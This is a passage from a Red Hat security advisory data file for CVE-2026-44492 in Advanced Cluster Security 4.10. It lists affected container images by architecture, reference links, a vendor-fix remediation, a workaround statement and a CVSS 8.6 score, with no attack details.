"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "RHBZ#2487938",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
}
],
"release_date": "2026-06-11T15:29:13.890000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
